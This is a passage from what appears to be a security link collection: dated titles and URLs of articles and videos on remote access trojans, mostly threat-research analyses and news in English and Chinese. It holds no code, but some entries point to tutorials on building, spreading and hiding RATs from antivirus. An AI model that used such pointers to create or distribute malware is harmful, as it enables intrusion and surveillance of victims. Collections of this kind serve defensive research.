RAT?](https://krebsonsecurity.com/2019/04/whos-behind-the-revcode-webmonitor-rat/) - 2019.04 [freebuf] [门罗币挖矿&远控木马样本分析](https://www.freebuf.com/articles/system/200875.html) - 2019.04 [4hou] [门罗币挖矿+远控木马样本分析](https://www.4hou.com/system/17380.html) - 2019.04 [4hou] [LimeRAT在野外传播](https://www.4hou.com/web/17312.html) - 2019.04 [yoroi] [LimeRAT spreads in the wild](https://blog.yoroi.company/research/limerat-spreads-in-the-wild/) - 2019.04 [alexander] [Week 6 Cyberattack Digest 2019 – ExileRAT trojan, Eskom Group, and others](https://www.peerlyst.com/posts/week-6-cyberattack-digest-2019-exilerat-trojan-eskom-group-and-others-alexander-polyakov) - 2019.03 [360] [木马作者主动提交Tatoo远控后门程序](https://www.anquanke.com/post/id/175513/) - 2019.03 [flashpoint] [FIN7 Revisited: Inside Astra Panel and SQLRat Malware](https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/) - 2019.03 [tencent] [挖矿木马针对SQL服务器爆破攻击 中招可致服务器被远程控制](https://s.tencent.com/research/report/684.html) - 2019.03 [paloaltonetworks] [Cardinal RAT Sins Again, Targets Israeli Fin-T](https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/) - 2019.03 [aliyun] [分析如何使用JAVA-VBS来传播RAT](https://xz.aliyun.com/t/4287) - 2019.03 [malware] [2019-03-06 - QUICK POST: KOREAN MALSPAM PUSHES FLAWED AMMYY RAT MALWARE](http://malware-traffic-analysis.net/2019/03/06/index.html) - 2019.03 [4hou] [JAVA+VBS传播RAT](https://www.4hou.com/system/16495.html) - 2019.03 [mcafee] [JAVA-VBS Joint Exercise Delivers RAT](https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/java-vbs-joint-exercise-delivers-rat/) - 2019.02 [dodgethissecurity] [Reverse Engineering an Unknown RAT – Lets call it SkidRAT 1.0](https://www.dodgethissecurity.com/2019/02/28/reverse-engineering-an-unknown-rat-lets-call-it-skidrat-1-0/) - 2019.02 [4hou] [ExileRAT与LuckyCat共享C2基础设施](http://www.4hou.com/web/16112.html) - 2019.02 [freebuf] [小米M365电动滑板车面临黑客攻击和远程控制风险](https://www.freebuf.com/news/195635.html) - 2019.02 [myonlinesecurity] [Fake Blockchain authentication update delivers Dark Comet RAT](https://myonlinesecurity.co.uk/fake-blockchain-authentication-update-delivers-dark-comet-rat/) - 2019.02 [securityartwork] [Case study: “Imminent RATs” (III)](https://www.securityartwork.es/2019/02/08/case-study-imminent-rats-iii/) - 2019.02 [securityartwork] [Case study: “Imminent RATs” (II)](https://www.securityartwork.es/2019/02/06/case-study-imminent-rats-ii/) - 2019.02 [securityledger] [ExileRAT Malware Targets Tibetan Exile Government](https://securityledger.com/2019/02/exilerat-malware-targets-tibetan-exile-government/) - 2019.02 [securityartwork] [Case study: “Imminent RATs” (I)](https://www.securityartwork.es/2019/02/04/case-study-imminent-rats-i/) - 2019.02 [talosintelligence] [ExileRAT shares C2 with LuckyCat, targets Tibet](https://blog.talosintelligence.com/2019/02/exilerat-shares-c2-with-luckycat.html) - 2019.02 [0x00sec] [Programming language for Remote Access Toolkit](https://0x00sec.org/t/programming-language-for-remote-access-toolkit/11290/) - 2019.01 [angelalonso] [Fudcrypt: the service to crypt Java RAT through VBS scripts and Houdini malware](https://blog.angelalonso.es/2019/01/fudcrypt-service-to-crypt-java-rat.html) - 2019.01 [yoroi] [The Story of Manuel’s Java RAT](https://blog.yoroi.company/research/the-story-of-manuels-java-rat/) - 2019.01 [0x00sec] [RATs question. Long break](https://0x00sec.org/t/rats-question-long-break/11084/) - 2019.01 [aliyun] [使用AMP技术分析RAT威胁](https://xz.aliyun.com/t/3900) - 2019.01 [360] [利用Marvell Avastar Wi-Fi中的漏洞远程控制设备：从零知识入门到RCE漏洞挖掘利用（下）](https://www.anquanke.com/post/id/170078/) - 2019.01 [aliyun] [使用MS Word文档传播.Net RAT恶意软件](https://xz.aliyun.com/t/3873) - 2019.01 [tencent] [腾讯电脑管家：“大灰狼”远控木马伪装成“会所会员资料”传播](https://s.tencent.com/research/report/640.html) - 2019.01 [360] [利用Marvell Avastar Wi-Fi中的漏洞远程控制设备：从零知识入门到RCE漏洞挖掘利用（上）](https://www.anquanke.com/post/id/169892/) - 2019.01 [4hou] [使用MS Word文档传播.Net RAT恶意软件](http://www.4hou.com/system/15835.html) - 2019.01 [0x00sec] [VPS or a VPN for a RAT?](https://0x00sec.org/t/vps-or-a-vpn-for-a-rat/10973/) - 2019.01 [talosintelligence] [What we learned by unpacking a recent wave of Imminent RAT infections using AMP](https://blog.talosintelligence.com/2019/01/what-we-learned-by-unpacking-recent.html) - 2019.01 [fortinet] [.Net RAT Malware Being Spread by MS Word Documents](https://www.fortinet.com/blog/threat-research/-net-rat-malware-being-spread-by-ms-word-documents.html) - 2019.01 [4hou] [TA505将新的ServHelper Backdoor和FlawedGrace RAT添加到其军火库中](http://www.4hou.com/web/15732.html) - 2019.01 [tencent] [劫持浏览器、远程控制、视频刷量，这种破解激活工具有毒！](https://s.tencent.com/research/report/630.html) - 2019.01 [4hou] [广告恶意软件伪装成游戏、远程控制APP感染900万Google play用户](http://www.4hou.com/web/15676.html) - 2019.01 [UltraHacks] [Ozone RAT C++ | Hidden VNC [TUTORIAL VIDEO] | Ultra Hacks](https://www.youtube.com/watch?v=72ej6IJPOoY) - 2019.01 [micropoor] [高级持续渗透-第八季demo便是远控](https://micropoor.blogspot.com/2019/01/demo.html) - 2019.01 [tencent] [疑似Gorgon组织使用Azorult远控木马针对中国外贸行业的定向攻击活动](https://s.tencent.com/research/report/624.html) - 2019.01 [4hou] [JungleSec勒索软件通过IPMI远程控制台感染受害者](http://www.4hou.com/typ/15461.html) - 2019.01 [sans] [Remote Access Tools: The Hidden Threats Inside Your Network](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1569959492.pdf) - 2018.12 [freebuf] [tRat：一种出现在多起垃圾电子邮件活动中的新型模块化RAT](https://www.freebuf.com/articles/terminal/191004.html) - 2018.12 [k7computing] [Scumbag Combo: Agent Tesla and XpertRAT](https://blog.k7computing.com/?p=15672) - 2018.12 [360] [Flash 0day + Hacking Team远控：利用最新Flash 0day漏洞的攻击活动与关联分析](https://www.anquanke.com/post/id/167334/) - 2018.12 [freebuf] [Flash 0day+Hacking Team远控：利用最新Flash 0day漏洞的攻击活动与关联分析](https://www.freebuf.com/articles/system/191382.html) - 2018.11 [4hou] [tRat：新模块化RAT](http://www.4hou.com/system/14606.html) - 2018.11 [proofpoint] [tRat: New modular RAT appears in multiple email campaigns](https://www.proofpoint.com/us/threat-insight/post/trat-new-modular-rat-appears-multiple-email-campaigns) - 2018.11 [checkpoint] [October 2018’s Most Wanted Malware: For The First Time, Remote Access Trojan Reaches Top 10 Threats | Check Point Software Blog](https://blog.checkpoint.com/2018/11/13/october-2018s-most-wanted-malware-for-the-first-time-remote-access-trojan-reaches-top-threats-cryptomining/) - 2018.11 [checkpoint] [October 2018’s Most Wanted Malware: For The First Time, Remote Access Trojan Reaches Global Threat Index’s Top 10](https://www.checkpoint.com/press/2018/october-2018s-most-wanted-malware-for-the-first-time-remote-access-trojan-reaches-global-threat-indexs-top-10/) - 2018.10 [DEFCONConference] [DEF CON 26 CAR HACKING VILLAGE - Dan Regalado - Meet Salinas, 1st SMS commanded Car Infotainment RAT](https://www.youtube.com/watch?v=j3dfgTKa7pQ) - 2018.10 [cybrary] [“I smell a rat!” – AhMyth, not a Myth](https://www.cybrary.it/2018/10/ahmyth-not-myth/) - 2018.10 [4hou] [如何在工业领域中使用RAT进行攻击](http://www.4hou.com/web/13875.html) - 2018.10 [360] [远控木马盗用网易官方签名](https://www.anquanke.com/post/id/162056/) - 2018.10 [ncsc] [RATs, Mimikatz and other domestic pests](https://www.ncsc.gov.uk/blog-post/rats-mimikatz-and-other-domestic-pests) - 2018.10 [infosecinstitute] [Interview with RaT, the High Council President of SOLDIERX](https://resources.infosecinstitute.com/interview-with-rat-the-high-council-president-of-soldierx/) - 2018.10 [vulnerability0lab] [Facebook Inc via Instagram Business - Remote Access Token Vulnerability (Original Facebook Video)](https://www.youtube.com/watch?v=4Obsd1Qw7uU) - 2018.10 [securityledger] [Episode 114: Complexity at Root of Facebook Breach and LoJax is a RAT You Can’t Kill](https://securityledger.com/2018/10/episode-114-complexity-at-root-of-facebook-breach-and-lojax-is-a-rat-you-cant-kill/) - 2018.10 [sophos] [IP EXPO Europe 2018: Sophos experts talk AI, privacy vs security, and RATs](https://news.sophos.com/en-us/2018/10/02/ip-expo-europe-2018-sophos-experts-talk-ai-privacy-vs-security-and-rats/) - 2018.09 [kaspersky] [Threats posed by using RATs in ICS](https://ics-cert.kaspersky.com/reports/2018/09/20/threats-posed-by-using-rats-in-ics/) - 2018.09 [kaspersky] [Industrial networks in need of RAT control](https://www.kaspersky.com/blog/rats-in-ics/23949/) - 2018.09 [securelist] [Threats posed by using RATs in ICS](https://securelist.com/threats-posed-by-using-rats-in-ics/88011/) - 2018.08 [traffic] [[2018-08-22] Unknown->RigEK->AZORult->BabylonRAT](https://traffic.moe/2018/08/22/index.html) - 2018.08 [freebuf] [Hero RAT：一种基于Telegram的Android恶意软件](http://www.freebuf.com/articles/terminal/179842.html) - 2018.08 [4hou] [垃圾邮件活动滥用SettingContent-ms传播FlawedAmmyy RAT](http://www.4hou.com/web/12902.html) - 2018.08 [aliyun] [基于Telegram的安卓恶意软件HeroRAT分析](https://xz.aliyun.com/t/2525) - 2018.08 [alienvault] [Off-the-shelf RATs Targeting Pakistan](https://www.alienvault.com/blogs/labs-research/off-the-shelf-rats-targeting-pakistan) - 2018.07 [k7computing] [Weaponized.IQY: A Quest to Deliver the FlawedAmmyy RAT](https://blog.k7computing.com/?p=6877) - 2018.07 [trendmicro] [Spam Campaign Abusing SettingContent-ms Found Dropping Same FlawedAmmy RAT Distributed by Necurs](https://blog.trendmicro.com/trendlabs-security-intelligence/spam-campaign-abusing-settingcontent-ms-found-dropping-same-flawedammy-rat-distributed-by-necurs/) - 2018.07 [k7computing] [Weaponized.IQY: A Quest to Deliver the FlawedAmmyy RAT](http://blog.k7computing.com/2018/07/weaponized-iqy-a-quest-to-deliver-the-flawedammyy-rat/) - 2018.07 [4hou] [高度复杂的寄生虫RAT已出现在暗网](http://www.4hou.com/web/12820.html) - 2018.07 [proofpoint] [Parasite HTTP RAT cooks up a stew of stealthy tricks](https://www.proofpoint.com/us/threat-insight/post/parasite-http-rat-cooks-stew-stealthy-tricks) - 2018.07 [aliyun] [Vermin RAThole深度分析](https://xz.aliyun.com/t/2462) - 2018.07 [proofpoint] [TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT](https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat) - 2018.07 [welivesecurity] [Vermin one of three RATs used to spy on Ukrainian government institutions](https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/) - 2018.07 [freebuf] [HeroRAT：一款全新的基于Telegram的安卓远程访问木马](http://www.freebuf.com/articles/terminal/175450.html) - 2018.06 [heimdalsecurity] [Security Alert: New Spam Campaign Delivers Flawed Ammyy RAT to Infect Victims’ Computers](https://heimdalsecurity.com/blog/security-alert-flawed-ammyy-rat/) - 2018.06 [welivesecurity] [HeroRat: The new kid on the block of Android RATs](https://www.welivesecurity.com/2018/06/18/new-telegram-abusing-android-rat/) - 2018.06 [4hou] [美国政府最新技术警报：警惕朝鲜黑客组织Hidden Cobra正在使用的两款RAT和蠕虫病毒](http://www.4hou.com/info/news/11930.html) - 2018.06 [4hou] [NavRAT利用美朝元首脑会晤作为对韩国袭击的诱饵](http://www.4hou.com/web/11941.html) - 2018.06 [360] [NavRAT借美朝会晤话题攻击韩国](https://www.anquanke.com/post/id/146816/) - 2018.05 [talosintelligence] [NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea](https://blog.talosintelligence.com/2018/05/navrat.html) - 2018.05 [myonlinesecurity] [Necurs delivering Flawed Ammy RAT via IQY Excel Web Query files](https://myonlinesecurity.co.uk/necurs-delivering-flawed-ammy-rat-via-iqy-excel-web-query-files/) - 2018.05 [freebuf] [被黑的Drupal网站被用来挖矿，传播远控，发送诈骗邮件](http://www.freebuf.com/articles/web/172563.html) - 2018.05 [andreafortuna] [Malware VM detection techniques evolving: an analysis of GravityRAT](https://www.andreafortuna.org/malware-analysis/malware-vm-detection-techniques-evolving-an-analysis-of-gravityrat/) - 2018.05 [360] [GravityRAT：以印度为APT目标两年内的演变史](https://www.anquanke.com/post/id/106933/) - 2018.05 [pcsxcetrasupport3] [A closer look at “NetSupport”(Rat) top 2 layers](https://pcsxcetrasupport3.wordpress.com/2018/05/04/a-closer-look-at-netsupportrat-top-2-layers/) - 2018.05 [freebuf] [神话传奇：一款通过卖号在微信群传播的远控木马](http://www.freebuf.com/articles/system/170196.html) - 2018.04 [virusbulletin] [GravityRAT malware takes your system's temperature](https://www.virusbulletin.com/blog/2018/04/gravityrat-malware-takes-your-systems-temperature/) - 2018.04 [360] [神话传奇——通过卖号微信群传播的远控木马](https://www.anquanke.com/post/id/106767/) - 2018.04 [talosintelligence] [GravityRAT - The Two-Year Evolution Of An APT Targeting India](https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html) - 2018.04 [UltraHacks] [WebMonitor RAT - NO PORTFORWARD NEEDED + FREE VPN *NEW*](https://www.youtube.com/watch?v=Yg-5ZUKbd3c) - 2018.04 [4hou] [吃鸡辅助远控木马分析](http://www.4hou.com/system/11194.html) - 2018.04 [freebuf] [吃鸡辅助远控木马分析](http://www.freebuf.com/articles/paper/169504.html) - 2018.04 [360] [吃鸡辅助远控木马分析](https://www.anquanke.com/post/id/105670/) - 2018.04 [4hou] [利用Digital Ocean构建远控基础设施](http://www.4hou.com/technology/11107.html) - 2018.04 [flashpoint] [RAT Gone Rogue: Meet ARS VBS Loader](https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/) - 2018.04 [lookout] [mAPT ViperRAT Found in Google Play](https://blog.lookout.com/viperrat-google-play) - 2018.04 [bitdefender] [RadRAT: An all-in-one toolkit for complex espionage ops](https://labs.bitdefender.com/2018/04/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/) - 2018.04 [paloaltonetworks] [Say “Cheese”: WebMonitor RAT Comes with C2-as-a-Servic](https://unit42.paloaltonetworks.com/unit42-say-cheese-webmonitor-rat-comes-c2-service-c2aas/) - 2018.04 [freebuf] [DELPHI黑客编程（三）：简单远控原理实现](http://www.freebuf.com/articles/system/166876.html) - 2018.04 [fireeye] [Fake Software Update Abuses NetSupport Remote Access Tool](http://www.fireeye.com/blog/threat-research/2018/04/fake-software-update-abuses-netsupport-remote-access-tool.html) - 2018.04 [freebuf] [PowerShell-RAT：一款基于Python的后门程序](http://www.freebuf.com/sectool/165789.html) - 2018.03 [UltraHacks] [Spynote v5.8 Android RAT | Tutorial | www.ultrahacks.org | Ultra Hacks](https://www.youtube.com/watch?v=SIqed5aL6F0) - 2018.03 [360] [TeleRAT：再次发现利用Telegram来定位伊朗用户的Android恶意软件](https://www.anquanke.com/post/id/102398/) - 2018.03 [paloaltonetworks] [TeleRAT: Another Android Trojan Leveraging Telegram’s Bot API to Target Iran](https://unit42.paloaltonetworks.com/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/) - 2018.03 [4hou] [三星SmartCam相机被曝存在十多个安全漏洞，可被远程控制、修改视频画面](http://www.4hou.com/info/news/10696.html) - 2018.03 [360] [针对OS X上Coldroot RAT跨平台后门的详细分析](https://www.anquanke.com/post/id/100727/) - 2018.03 [freebuf] [前端黑魔法之远程控制地址栏](http://www.freebuf.com/articles/web/164711.html) - 2018.03 [broadanalysis] [EiTest campaign Hoefler Text Pop-up delivers NetSupport Manager RAT](http://www.broadanalysis.com/2018/03/11/eitest-campaign-hoefler-text-pop-up-delivers-netsupport-manager-rat-5/) - 2018.03 [leavesongs] [前端黑魔法之远程控制地址栏](https://www.leavesongs.com/PENETRATION/use-target-to-spoof-fishing.html) - 2018.03 [broadanalysis] [Fake Flash update leads to NetSupport RAT](http://www.broadanalysis.com/2018/03/08/fake-flash-update-leads-to-netsupport-rat-2/) - 2018.03 [broadanalysis] [EiTest campaign Hoefler Text Pop-up delivers NetSupport Manager RAT](http://www.broadanalysis.com/2018/03/08/eitest-campaign-hoefler-text-pop-up-delivers-netsupport-manager-rat-4/) - 2018.03 [4hou] [高清无码！比鬼片还刺激！且听“诡娃”远控的这首惊魂曲](http://www.4hou.com/technology/10558.html) - 2018.03 [freebuf] [高清无码！比鬼片还刺激！且听“诡娃”远控的这首惊魂曲](http://www.freebuf.com/articles/system/163988.html) - 2018.03 [360] [胆小者慎入！比鬼片还刺激！且听“诡娃”远控的这首惊魂曲](https://www.anquanke.com/post/id/99667/) - 2018.02 [broadanalysis] [Fake Flash update leads to NetSupport RAT](http://www.broadanalysis.com/2018/02/27/fake-flash-update-leads-to-netsupport-rat/) - 2018.02 [broadanalysis] [EiTest campaign Hoefler Text Pop-up delivers NetSupport Manager RAT](http://www.broadanalysis.com/2018/02/24/eitest-campaign-hoefler-text-pop-up-delivers-netsupport-manager-rat-3/) - 2018.02 [myonlinesecurity] [Fake DHL notification delivers some sort of Java RAT](https://myonlinesecurity.co.uk/fake-dhl-notification-delivers-some-sort-of-java-rat/) - 2018.02 [4hou] [新的AndroRAT变种正在利用过期的Root漏洞伺机发起攻击](http://www.4hou.com/info/news/10413.html) - 2018.02 [objective] [Tearing Apart the Undetected (OSX)Coldroot RAT](https://objective-see.com/blog/blog_0x2A.html) - 2018.02 [trendmicro] [New AndroRAT Exploits Dated Privilege Escalation Vulnerability, Allows Permanent Rooting](https://blog.trendmicro.com/trendlabs-security-intelligence/new-androrat-exploits-dated-permanent-rooting-vulnerability-allows-privilege-escalation/) - 2018.02 [360] [远控木马巧设“白加黑”陷阱：瞄准网店批发商牟取钱财](https://www.anquanke.com/post/id/97329/) - 2018.01 [broadanalysis] [EiTest campaign Hoefler Text Pop-up delivers NetSupport Manager RAT](http://www.broadanalysis.com/2018/01/25/eitest-campaign-hoefler-text-pop-up-delivers-netsupport-manager-rat-2/) - 2018.01 [4hou] [暴雪游戏存在严重远程控制漏洞，数亿用户受影响](http://www.4hou.com/info/news/10096.html) - 2018.01 [riskiq] [Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors](https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/) - 2018.01 [freebuf] [NDAY漏洞CVE-2017-11882与0Day漏洞CVE-2018-0802漏洞组合传播远控木马的样本分析](http://www.freebuf.com/vuls/160252.html) - 2018.01 [broadanalysis] [EiTest campaign Hoefler Text Pop-up delivers NetSupport Manager RAT](http://www.broadanalysis.com/2018/01/18/eitest-campaign-hoefler-text-pop-up-delivers-netsupport-manager-rat/) - 2018.01 [netskope] [Git Your RATs Here!](https://www.netskope.com/blog/git-your-rats-here/) - 2018.01 [redcanary] [We Smell a RAT: Detecting a Remote Access Trojan That Snuck Past a User](https://redcanary.com/blog/detecting-remote-access-trojan/) - 2018.01 [rsa] [Malspam delivers BITTER RAT 01-07-2018](https://community.rsa.com/community/products/netwitness/blog/2018/01/10/malspam-delivers-bitter-rat-07-01-2018) - 2018.01 [freebuf] [移动端C#病毒“东山再起”，利用知名应用通信实现远控隐私窃取](http://www.freebuf.com/articles/terminal/158503.html) - 2017.12 [tencent] [通过CHM文件传播的Torchwood远控木马分析](https://s.tencent.com/research/report/161.html) - 2017.12 [avlsec] [移动端C#病毒“东山再起”，利用知名应用通信实现远控隐私窃取](http://blog.avlsec.com/2017/12/5020/tba/) - 2017.12 [broadanalysis] [Fake Flash Player update delivers Net Support RAT](http://www.broadanalysis.com/2017/12/20/fake-flash-player-update-delivers-net-support-rat/) - 2017.12 [netskope] [TelegramRAT evades traditional defenses via the cloud](https://www.netskope.com/blog/telegramrat-evades-traditional-defenses-via-cloud/) - 2017.12 [4hou] [Palo Alto Networks最新发现：UBoatRAT远程木马访问程序入侵东亚](http://www.4hou.com/info/news/9209.html) - 2017.12 [TechnoHacker] [RATs in a Nutshell](https://www.youtube.com/watch?v=JTfqMEfokNg) - 2017.11 [paloaltonetworks] [UBoatRAT Navigates](https://unit42.paloaltonetworks.com/unit42-uboatrat-navigates-east-asia/) - 2017.11 [buguroo] [New banking malware in Brazil - XPCTRA RAT ANALYSIS](https://www.buguroo.com/en/blog/bank-malware-in-brazil-xpctra-rat-analysis) - 2017.11 [traffic] [[2017-11-18] KaiXinEK->RAT](https://traffic.moe/2017/11/18/index.html) - 2017.11 [freebuf] [通过CHM文件传播的Torchwood远控木马分析](http://www.freebuf.com/articles/system/153850.html) - 2017.11 [qq] [通过CHM文件传播的Torchwood远控木马分析](https://tav.qq.com/index/newsDetail/315.html) - 2017.11 [TechnicalMujeeb] [A-RAt exploit Tool Remote Access Android using Termux App.](https://www.youtube.com/watch?v=bzYsfe6WT7M) - 2017.11 [securityintelligence] [Overlay RAT Malware Uses AutoIt Scripting to Bypass Antivirus Detection](https://securityintelligence.com/overlay-rat-malware-uses-autoit-scripting-to-bypass-antivirus-detection/) - 2017.11 [360] [Powershell Empire 绕过AV实现远控](https://www.anquanke.com/post/id/87132/) - 2017.10 [riskiq] [New htpRAT Gives Complete Remote Control Capabilities to Chinese Threat Actors](https://www.riskiq.com/blog/labs/htprat/) - 2017.10 [lookout] [JadeRAT mobile surveillanceware spikes in espionage activity](https://blog.lookout.com/mobile-threat-jaderat) - 2017.10 [buguroo] [RAT Protection for Banking Customers That Works](https://www.buguroo.com/en/blog/rat-protection-for-banking-customers-that-works) - 2017.10 [cylance] [Cylance vs. Hacker’s Door Remote Access Trojan](https://www.cylance.com/en_us/blog/cylance-vs-hackers-door-remote-access-trojan.html) - 2017.10 [malwarebytes] [Decoy Microsoft Word document delivers malware through a RAT](https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/) - 2017.10 [rsa] [Malspam Delivers HWorm RAT October, 2017](https://community.rsa.com/community/products/netwitness/blog/2017/10/09/malspam-delivers-hworm-rat-october2017) - 2017.09 [freebuf] [【评论更新“木马”作者回复】“大黄蜂”远控挖矿木马分析与溯源](http://www.freebuf.com/articles/network/147301.html) - 2017.09 [intezer] [New Variants of Agent.BTZ/ComRAT Found: The Threat That Hit The Pentagon In 2008 Still Evolving; Part 2/2](https://www.intezer.com/new-variants-of-agent-btz-comrat-found-part-2/) - 2017.09 [360] [分析利用“永恒之蓝”漏洞传播的RAT](https://www.anquanke.com/post/id/86822/) - 2017.09 [UltraHacks] [SilentBytes RAT 1.6.3c | Multi Administration Tool!](https://www.youtube.com/watch?v=OCz1b2Xyr8c) - 2017.09 [freebuf] [螳螂捕蝉黄雀在后，免费散播Cobian远控工具背后的秘密](http://www.freebuf.com/news/146974.html) - 2017.09 [360] [如何远程控制别人的无线鼠标：深度揭露鼠标劫持内幕](https://www.anquanke.com/post/id/86784/) - 2017.09 [4hou] [“钓鱼”插件实战：看我如何让粗心开发者的编辑器自动变身远控](http://www.4hou.com/technology/7329.html) - 2017.09 [fortinet] [Rehashed RAT Used in APT Campaign Against Vietnamese Organizations](https://www.fortinet.com/blog/threat-research/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations.html) - 2017.09 [TechnoHacker] [Arcom RAT: Is It Worth $3000?](https://www.youtube.com/watch?v=u39nMqPoiz0) - 2017.08 [lookout] [Lookout discovers sophisticated xRAT malware tied to 2014 “Xsser / mRAT” surveillance campaign against Hong Kong protesters](https://blog.lookout.com/xrat-mobile-threat) - 2017.08 [paloaltonetworks] [Updated KHRAT Malware Used in Cambodi](https://unit42.paloaltonetworks.com/unit42-updated-khrat-malware-used-in-cambodia-attacks/) - 2017.08 [JackkTutorials] [How to make a HTTP RAT (#3)](https://www.youtube.com/watch?v=qPrF5Hh5hwo) - 2017.08 [freebuf] [远控木马上演白利用偷天神技：揭秘假破解工具背后的盗刷暗流](http://www.freebuf.com/articles/terminal/144590.html) - 2017.08 [4hou] [远控木马上演白利用偷天神技：揭秘假破解工具背后的盗刷暗流](http://www.4hou.com/technology/7302.html) - 2017.08 [fortinet] [A Quick Look at a New KONNI RAT Variant](https://www.fortinet.com/blog/threat-research/a-quick-look-at-a-new-konni-rat-variant.html) - 2017.08 [freebuf] [如何把Photoshop改造成远程控制工具（RAT）来利用](http://www.freebuf.com/news/142783.html) - 2017.08 [n0where] [Koadic C3 COM Command & Control – JScript RAT](https://n0where.net/com-command-control-koadic) - 2017.08 [cylance] [Threat Spotlight: KONNI – A Stealthy Remote Access Trojan](https://www.cylance.com/en_us/blog/threat-spotlight-konni-stealthy-remote-access-trojan.html) - 2017.08 [cylance] [Cylance vs. KONNI RAT](https://www.cylance.com/en_us/blog/cylance-vs-konni-rat.html) - 2017.08 [intezer] [New Variants of Agent.BTZ/ComRAT Found: The Threat That Hit The Pentagon In 2008 Still Evolving; Part 1/2](https://www.intezer.com/new-variants-of-agent-btz-comrat-found/) - 2017.08 [rsa] [Malspam delivers Xtreme RAT 8-1-2017](https://community.rsa.com/community/products/netwitness/blog/2017/08/02/malspam-delivers-xtreme-rat-8-1-2017) - 2017.07 [CodeColorist] [How to turn Photoshop into a remote access tool](https://medium.com/p/805485a9480) - 2017.07 [pentestmag] [Stitch – a Python written cross platform RAT](https://pentestmag.com/stitch-python-written-cross-platform-rat/) - 2017.07 [freebuf] [【BlackHat 2017】小米9号平衡车国际版存在严重安全漏洞可被攻击者远程控制](http://www.freebuf.com/news/141341.html) - 2017.07 [pentestingexperts] [Hacking Android Smart Phone Using AhMyth Android RAT](http://www.pentestingexperts.com/hacking-android-smart-phone-using-ahmyth-android-rat/) - 2017.07 [JackkTutorials] [How to make a HTTP RAT (#2)](https://www.youtube.com/watch?v=BqwcSsMdJEI) - 2017.07 [ringzerolabs] [Bladabindi RAT](https://www.ringzerolabs.com/2017/07/bladabindi-rat.html) - 2017.07 [krebsonsecurity] [Who is the GovRAT Author and Mirai Botmaster ‘Bestbuy’?](https://krebsonsecurity.com/2017/07/who-is-the-govrat-author-and-mirai-botmaster-bestbuy/) - 2017.07 [JackkTutorials] [How to make a HTTP RAT (#1)](https://www.youtube.com/watch?v=whwGVk33NXA) - 2017.06 [freebuf] [白利用的集大成者：新型远控木马上演移形换影大法](http://www.freebuf.com/articles/system/138164.html) - 2017.06 [pediy] [[原创]一个远控木马的行为分析](https://bbs.pediy.com/thread-218739.htm) - 2017.06 [ColinHardy] [JavaScript that drops a RAT - Reverse Engineer it like a pro](https://www.youtube.com/watch?v=qzGLCqW_wrM) - 2017.06 [4hou] [白利用的集大成者：新型远控木马上演移形换影大法](http://www.4hou.com/info/news/5742.html) - 2017.06 [360] [白利用的集大成者：新型远控木马上演移形换影大法](https://www.anquanke.com/post/id/86311/) - 2017.06 [freebuf] [Metasploit实验：制作免杀payload+对任意“外网”主机的远控](http://www.freebuf.com/sectool/136736.html) - 2017.06 [cylance] [Cylance vs. FF-Rat Malware](https://www.cylance.com/en_us/blog/cylance-vs-ff-rat-malware.html) - 2017.06 [cylance] [Threat Spotlight: Breaking Down FF-Rat Malware](https://www.cylance.com/en_us/blog/breaking-down-ff-rat-malware.html) - 2017.06 [alienvault] [MacSpy: OS X RAT as a Service](https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service) - 2017.05 [TechnoHacker] [How to check if you're infected with a RAT in 10 seconds](https://www.youtube.com/watch?v=ZWcTAiyZrEI) - 2017.05 [freebuf] [远控木马中的VIP：盗刷网购账户购买虚拟礼品卡](http://www.freebuf.com/articles/system/135081.html) - 2017.05 [pediy] [[原创]从0分析一款经典的感染型远控木马](https://bbs.pediy.com/thread-217755.htm) - 2017.05 [4hou] [远控木马中的VIP：盗刷网购账户购买虚拟礼品卡](http://www.4hou.com/info/observation/4847.html) - 2017.05 [sec] [远控木马中的VIP：盗刷网购账户购买虚拟礼品卡](https://www.sec-un.org/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%ac%e4%b8%ad%e7%9a%84vip%ef%bc%9a%e7%9b%97%e5%88%b7%e7%bd%91%e8%b4%ad%e8%b4%a6%e6%88%b7%e8%b4%ad%e4%b9%b0%e8%99%9a%e6%8b%9f%e7%a4%bc%e5%93%81%e5%8d%a1/) - 2017.05 [360] [远控木马中的VIP：盗刷网购账户购买虚拟礼品卡](https://www.anquanke.com/post/id/86128/) - 2017.05 [aliyun] [FlexiSpy For Android远程控制后门](https://xz.aliyun.com/t/167) - 2017.05 [UltraHacks] [Imminent Monitor RAT setup & New update review 2017](https://www.youtube.com/watch?v=Mwp-VbaYM0w) - 2017.05 [TechnoHacker] [How to spread your RAT](https://www.youtube.com/watch?v=bI3AngFahb4) - 2017.05 [esecurityplanet] [Shodan Partners with Recorded Future to Detect Botnets and RATs](https://www.esecurityplanet.com/hackers/shodan-partners-with-recorded-future-to-detect-botnets-and-rats.html) - 2017.04 [alienvault] [The Felismus RAT: Powerful Threat, Mysterious Purpose](https://www.alienvault.com/blogs/security-essentials/the-felismus-rat-powerful-threat-mysterious-purpose) - 2017.04 [4hou] [二十余款Linksys路由器曝出安全漏洞，或可被远程控制](http://www.4hou.com/info/news/4449.html) - 2017.04 [freebuf] [当心，安卓远控（spynote）升级了……](http://www.freebuf.com/sectool/132023.html) - 2017.04 [paloaltonetworks] [Cardinal RAT Active for Over](https://unit42.paloaltonetworks.com/unit42-cardinal-rat-active-two-years/) - 2017.04 [jpcert] [RedLeaves - Malware Based on Open Source 